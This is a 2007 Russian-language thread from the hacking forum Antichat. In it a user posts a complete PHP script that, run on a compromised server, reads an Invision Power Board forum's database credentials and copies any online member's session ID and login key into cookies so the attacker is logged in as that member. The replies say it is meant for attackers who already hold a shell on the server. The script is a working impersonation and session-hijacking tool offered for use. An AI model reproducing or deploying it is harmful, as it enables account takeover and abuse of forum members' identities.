Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   IPB session parser (https://forum.antichat.xyz/showthread.php?t=48036)

Goudini 31.08.2007 18:56

IPB session parser
 
IPB session parser

Небольшой серверный скрипт, который позволяет залогиниться под любым пользователем форума, который сейчас в онлайне.
Для работы нужно указать только путь к файлу конфигурации форума conf_global.php.
Из этого файла будет вынута информация для работы с MySQL.
Если работа скрипта завершится успешно, то браузеру будут посланы cookies выбраного пользователя. Пример:

Код:

Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/
Set-Cookie: member_id=2; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/
Set-Cookie: pass_hash=081f90c676a2938ce101e197607c64cb; expires=Sat, 30-Aug-2008 12:14:38 GMT; path=/
Set-Cookie: coppa=0; path=/
Set-Cookie: session_id=bd2f6468663aa8eaefa5825430b8ba26; path=/

Сам скрипт в виде php-файла подан ниже.

PHP код:

<?php
/**
* Script that helps you to log in IPB forums with different users
* Tested on IPB 2.1.5, IP.Board 2.3.1
* Goudini (c) 31.08.2007
*/

// Path to config-file, change it to make script work!
$configpath '/var/www/html/forum/conf_global.php';
include(
$configpath);

// mysql
$server $INFO['sql_host'];
$username $INFO['sql_user'];
$password $INFO['sql_pass'];
$database_name $INFO['sql_database'];
$prefix $INFO['sql_tbl_prefix'];

mysql_connect($server$username$password) or die(mysql_error());
mysql_select_db($database_name) or die(mysql_error());

// sessions, cookies
if (isset($_GET["login"]) && $_GET["login"] != '')
{
    
$name mysql_real_escape_string($_GET["login"]);

    
$query "SELECT member_login_key FROM ${prefix}members WHERE name = '$name'";
    
$result mysql_query($query) or die(mysql_error());
    
$row mysql_fetch_array($result);

    
$c_member_login_key $row['member_login_key']; // cookie

    
$query "SELECT id, member_id  FROM ${prefix}sessions WHERE member_name = '$name'";
    
$result mysql_query($query) or die(mysql_error());
    
$row mysql_fetch_array($result);

    
$c_id $row['id'];                    // cookie
    
$c_member_id $row['member_id'];        // cookie
    
    
if (isset($c_member_login_key) && isset($c_id) && isset($c_member_id)) 
    {
        
setcookie('session_id'$c_id'/');
        
setcookie('member_id'$c_member_idtime()+60*60*24*30 '/');
        
setcookie('pass_hash'$c_member_login_keytime()+60*60*24*30 '/');
        
setcookie('coppa'0'/');
        
setcookie('session_id'$c_id'/');

        
$msg ">Done... Cookie setted... Now your UID is: $c_member_id! Refresh forum!";
    }
    else
    {
        
$msg ">Error! User's session not found";
    }


?>
<html>
<title>::[ IPB session parser ]::</title>
<style>
    body,table {
    background: #373737;
    font-size: 12px;
    font-family: Verdana, sans-serif;
    word-spacing: 2px;
    color: #C3C3C3;
    }
    a {
    font-weight: bold;
    color: #C3C3C3;
    text-decoration: underline;
    }
    a:hover {
    text-decoration: underline;
    border-bottom: 1px #5CAF3D;
    background: #4B4B4B;
    }
</style>
<body>

<form action="<?=$_SERVER["REQUEST_URI"]?>">

<table width="100%" height="10%">
<tr>
    <td align="center" valign="top">
        <b>username:</b> <input type="text" name="login">
        <input type="submit" value="get session!">
        <br><br><a href="<?=$_SERVER["PHP_SELF"]?>?show=1">show all logged users</a>
    </td>
</tr>
</table>

</form>

    <?php
    
// results
    
if (isset($_GET["show"]))
    {
        
$query "SELECT member_name, browser FROM ${prefix}sessions ORDER BY member_group DESC";
        
$result mysql_query($query) or die (mysql_error());
                echo 
"<table>";
        while(
$row mysql_fetch_array($result))
            {
                
$member_name $row['member_name'];
                
$browser $row['browser'];
                if (
$member_name != '')
                {
                echo 
"<tr><td>";
                echo 
"<a href=" $_SERVER["PHP_SELF"] . "?login=" $member_name ">" $member_name;
                echo 
"</td><td>$browser</td></tr>";
                }
            }
    }
    echo 
"<h3 align='center'><font color='#E1E1E1'>".@$msg."</font></h3></table>";

mysql_close();
?>
</body>
</html>


Piflit 31.08.2007 19:00

Скрипт нужен только для тех случаев, когда у нас есть доступ к бд, но мы не можем расшифровать хеш?

Goudini 31.08.2007 19:05

Piflit:
Скрипт выполняеться на сервере, собственно он нужен для тех случаев если у нас есть шелл, и нам хочется по-быстрому заходить на форум под разными пользователями. Очень удобно когда на форуме много юзеров онлайн.

Piflit 31.08.2007 19:12

Цитата:

Сообщение от Goudini
Piflit:
Скрипт выполняеться на сервере, собственно он нужен для тех случаев если у нас есть шелл, и нам хочется по-быстрому заходить на форум под разными пользователями. Очень удобно когда на форуме много юзеров онлайн.

Еще у нас должен быть пасс к бд.

Talisman 31.08.2007 19:14

Цитата:

Сообщение от Piflit
Еще у нас должен быть пасс к бд.

у тебя шелл на сервере... чего тебе еще нужно?

Светлый 18.09.2007 08:10

Скрипт написан для удобства.

FraiDex 18.09.2007 08:34

Цитата:

Сообщение от Piflit
Еще у нас должен быть пасс к бд.

и нафига те он если ты на серваке, conf_global.php проинклудил и сё

Светлый 18.09.2007 19:40

Кстати на 2.2.2 вместо подмены куков почему-то выкидывает юзеров


Время: 07:36